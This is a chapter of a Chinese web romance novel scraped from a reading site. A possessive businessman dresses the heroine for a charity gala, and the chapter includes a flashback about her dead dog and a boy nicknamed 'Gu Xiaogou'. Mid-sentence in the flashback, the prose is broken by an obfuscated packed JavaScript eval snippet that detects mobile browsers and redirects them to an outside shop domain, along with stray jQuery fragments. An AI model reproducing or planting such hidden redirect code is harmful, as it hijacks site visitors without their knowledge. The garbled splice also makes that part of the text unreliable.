默认冷灰
24号文字
方正启体

34. 顾小狗

作者:一打包子本书字数:K更新时间:
    第三十四章


    傍晚的余晖在天际线挣扎着最后一点光明。


    苏蔓从展会文件的围剿里抬起头,颈骨深处发出一声细微的酸响,她闭上眼又睁开,指腹用力按压眉心。


    拿起手机,给陆临舟发了条消息:艺术馆的工作没做完,我今晚可以不回去吗?


    指尖悬在发送键上片刻,最终还是点了出去。


    消息石沉大海,许久都没有回应。她将手机反扣在桌上,继续埋首于工作。


    苏蔓没有急着找安娜回来,想让她好好休息,艺术展的事,她先一个人扛着。


    等她再次从工作中抽离,窗外已是墨蓝夜色,缀着万家灯火。


    瞥见电脑右下角的时间,九点。


    心下一惊,急忙抓过手机,屏幕上显示着陆临舟在两个小时前的回复,只有言简意赅的三个字:不可以。


    她慌乱地起身开始收拾东西,手包、钥匙、散落的文件……一抬眼,呼吸骤停。


    办公室角落深色的单人沙发里,陆临舟不知何时坐在那里,长腿交叠,一手支着额角,昏暗的光影勾勒出他肩上锐利的线条。


    “终于发现我了?”他挑了下眉,音色低沉,裹着显而易见的不悦。


    那一刻,苏蔓心底窜起的,不仅是被人窥视的惊慌,还有一种更深沉的恐惧感,丝丝缕缕地勒住她的神经。


    陆临舟是疯,但他的疯是张扬的,是带着火焰的,她能看得清火的走向,或许还能在烈焰焚身之前,找到些缝隙周旋。


    但现在的他,更像一道无声无息浸透而来的暗影,无处不在,无孔不入。


    你永远不知道他会在何时,以何种方式出现,然后扼住你的呼吸。


    他藏起了獠牙,收敛了外放的压迫感,却反而更让人心底发毛。


    蓝色的流线型车身划开夜色。


    陆临舟单手控着方向盘,法拉利在灯火迷离的长街疾驰,最终在一间极为低调的私人定制造型馆前停下。


    馆内灯光明亮,空气中是昂贵香氛的味道。


    设计师LINK是个身材高大的白种男人,金色的长发被五颜六色的皮筋扎成几个顽皮的小啾,支楞八翘地固定在头顶,像只羽毛过分贲张的热带禽鸟。身上的丝绸衬衫色彩斑斓得晃眼,紧身牛仔裤勒出夸张的肌肉线条。


    他瞥见陆临舟进来,一双蓝眼珠立刻放了光似的,张开双臂迎上来,语调浮夸:“LU!Ohmygod!好久不见!”


    “LINK,好久不见。”陆临舟侧身避开对方的拥抱。


    苏蔓跟在他身后,先是闻到一股浓烈的香水味,然后才见到风格迥异的LINK,她认得LINK,获得过CFDA时尚大奖,据说找他做造型指导最少要提前一年预约。


    LINK遗憾地耸耸肩,目光转到苏蔓身上,脸上堆满笑:“WOW!这位美丽的小姐,你是LU的女朋友吗?我真的很嫉妒你,可以得到他独一无二的爱。”


    苏蔓冷笑,她倒是求之不得有人替她承受这份“爱”。


    陆临舟走到衣架前,目光在陈列的礼服间逡巡,最终落在一件黑色露肩礼服上。


    真丝质地,惹眼的是后背大胆的深V设计,一路纵切而下,肆无忌惮地敞开至腰窝上方,仅用几道极细的黑色缎带纵横交叉,缚住一片引人遐想的肌肤。


    危险,迷人,像夜色里一道引人堕落的裂隙。


    他想起刚回海丽,艺术馆周年宴会上,与她匆匆一瞥时,她穿的那件露腰礼服,清冷中透着勾人的诱惑。


    他看向苏蔓:“就这件吧,换上。”


    苏蔓从试衣间走出来,站在落地镜前。


    顺滑的布料包裹住身前曲线,端庄高贵,一转身,大片敞露的雪白后背与纵横的黑色绑带,平添了引人探寻的性感。


    陆临舟走近,手里多了一双设计极简的黑色高跟鞋。


    他在她面前,单膝跪下,一手握住她的脚踝,另一只手,将鞋套上她的脚。


    手指触及脚背,苏蔓想躲,身体失衡一晃,伸手扶上他的肩。


    陆临舟的动作很慢,故意拖延,指腹摩挲她的脚踝,心思不言而明。


    LINK去找配饰,试衣间里顿时只剩下他们两人。


    他替她穿好鞋,起身,绕至她身后,指尖拂过交错的绑带,帮她整理。


    忽然,他俯身,温热的唇,沿着她后颈细腻的肌肤,一路吻下去,最后停留在她裸露的肩胛骨上。


    触感湿热,烫得她皮肉一紧,随即是更深层的麻痒,仿佛有什么东西要破土而出。


    “怎么样,喜欢吗?”陆临舟直起身,双手自然地搭上她的双肩,透过镜面,窥她脸上的变化。


    苏蔓迎着镜中他的视线,答非所问:“是要出席什么类型的宴会?需要我提前准备,或者配合做什么?”


    “儿慈会的晚宴,”指腹在她光洁的肩头流连,细腻的触感让他有些上瘾,“儿慈会新任主席姚林牵头办起来的慈善晚宴,中间会有个小拍卖会,”他顿了顿,语调随意,“喜欢什么,告诉我,我拍给你。”


    “不需要。”她拧身,避开他的撩拨,提起曳地的裙摆,转身坐到化妆台前。


    “哦,对了,这次艺术展,是姚林的妻子安娜全程跟进的。他们夫妻俩,连接受采访都形影不离,真是羡煞旁人。你最近太忙,大概都没关注这些吧?”他看着她瞬间停下的手,得意,不再多言,“我去车里等你。”


    苏蔓望着镜中的人,眼神一点点冷下来。


    蓝色魅影在车流中咆哮穿梭,苏蔓偏头望向窗外,城市的光河在瞳孔里无声的流淌又熄灭。


    她不明白陆临舟为何敢如此高调地带她出席社交场合,难道不怕坐实了“渣男”的名声?不,这不是污名,这是他的本质。


    温热干燥的手掌探过来,覆上她微凉的手背。


    指腹用力,强硬地撬开她蜷起的指缝,穿插进去,不留余地地嵌入,十指相扣。


    苏蔓皱眉,立刻将手抽回,目光依旧看向窗外:“你好好开车。”


    掌心的柔软骤然落空,陆临舟面色一沉,搭在方向盘上的手指收紧。


    引擎的轰鸣声低沉下去,车子在离酒店入口还有百米的一个转角,刹停。


    “下车。”陆临舟一条胳膊搭着方向盘,侧着身看她。


    苏蔓一时恍惚,以为他良心发现,要放她回去。


    “苏瑾今天也在,我带你进去不方便。”他刻意停顿,欣赏着她眸光里一闪而过的波动,而后才慢条斯理地补完,“你一会,自己进去。”


    既然有苏瑾相伴,又何必带她过来?简直荒谬!


    “好。”但她面上波澜不惊,也没有多问一个字。


    推开车门,夜风带着凉意,拂过她裸露的后背。


    陆临舟坐在车里,目送她孤直的背影,一步步被浓稠的夜色吞没。


    ......


    也是这样的初春季节,约好要看的电影散了场,也没等到她。


    电话一直关机。


    他找遍了所有她可能去的地方,学校后面的冷饮店,隔着两条街的小酒吧,甚至跑去渡口的船上问,都说没见过。


    顾常念不死心,就沿着海岸线一直走,从午后走到日暮。


    咸涩的海风卷着凉意,呜咽着冲刷礁石。


    终于,在灰蓝的海天之间,他看到缩成一个小点的身影。


    苏蔓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704572|187884||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    独自坐在沙滩上,面朝翻涌的浪潮,单薄的肩膀随着海风轻颤,仿佛随时会被风吹散。


    他快步走过去,脚步在沙上陷下一个个深坑,心也跟着不断下沉。


    走近了,才看清她手里攥着一条蓝色的遛狗绳,绳子的另一端空荡荡地垂在沙地里,随着风无力摇摆。


    她的眼神是涣散的,没有焦点地望着前方某处虚空,脸上没有任何表情。


    “苏蔓,”顾常念在她身边蹲下,“你怎么,一个人在这?”


    许久,苏蔓干涩的唇突然动了一下:“史迪奇死了。”


    顾常念知道史迪奇,一只她从小养大的金毛。


    “医生说它太老了,所有的器官都在衰竭,没有治疗的希望,”她继续说着,语调没有起伏,却比痛哭更让人难受,“与其看它被痛苦折磨,不如让它解脱。”


    她终于转过头,看向顾常念,一双总是灵动的眼睛里,此刻只剩下干瘪的空洞:“注射的时候,它一直,一直,一直在看着我。”


    眼泪大颗大颗从她眼眶里滚落,砸在攥着绳子的手背上,也砸在顾常念心里,“顾常念,”她哽咽出声,“它会不会......其实是不想死的?是我,是我杀了它。”


    顾常念伸手环住她的肩膀,想说些安慰的话,却怎么也发不出声音。


    他见过那只狗,漂亮,温顺,聪明,也知道史迪奇对她来说意义非凡。


    但生命总有走到尽头的一天,谁也无法抗拒。


    然而,下一瞬,她抬起泪眼朦胧的脸,用一种近乎偏执的眼神望着他,小声说,“顾常念,我的狗没了,”她吸吸鼻子,带着一种脆弱又依恋的口吻问,“你可以,当我的狗吗?”


    “什么?”顾常念以为自己听错了。


    苏蔓拽住他的衣角,眼神灼灼,“说真的,我能把你养得很好,”她紧追着起身的顾常念,“我想过了,狗的寿命太短,我如果再养一只,十几年后还是会分开,但人不一样,人......”


    “人哪里不一样?”顾常念突然停下脚步,转身垂眸看她。


    苏蔓后退一小步,笑着说:“人的寿命长啊。”


    “那你怎么不找只乌龟?”


    “乌龟是乌龟,乌龟又不是狗。”她在这点上,逻辑清晰。


    “乌龟是乌龟,那人就不是人了,就能当狗了?”顾常念说完,转身就走。


    走了几步,身后的人却没有跟上来。


    他忍不住回头,看见她再次失魂落魄地蹲了下去,背对着他,低着头,肩膀微微耸动,比刚才更可怜。


    顾常念咬牙,他肯定不会答应的,绝不!然而,脚步却像有自己的意志,折返回去。


    他不情愿地站在她身后,声音闷闷的,“好吧,那,”他顿了顿,“主人,咱们可以......回家了吗?”


    苏蔓的后背一直,迅速回过头,诧异地看他,手上还捏着一只她刚从沙子里刨出来的小螃蟹,问:“顾常念,你说什么?”


    顾常念倒抽一口冷气,瞬间意识到自己会错了意,脸上腾地烧起来,立刻起身,这次是真的毫不犹豫,转身大步流星地离开。


    “顾常念!”苏蔓反应过来,丢下小螃蟹,笑着追上去,“你同意了是不是?!”


    “闭嘴!”


    “顾常念!!”


    “闭嘴!”


    “顾小狗!!”


    少女清脆的声音带着雀跃,和少年恼羞成怒的低吼,交织在海风里,飘向很远的地方。


    ......


    车窗外一点模糊的微光,或许是霓虹,或许是幻觉。


    跑车咆哮一声,绝尘而去,将走在夜色中的孤影,毫不留恋地抛在身后。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)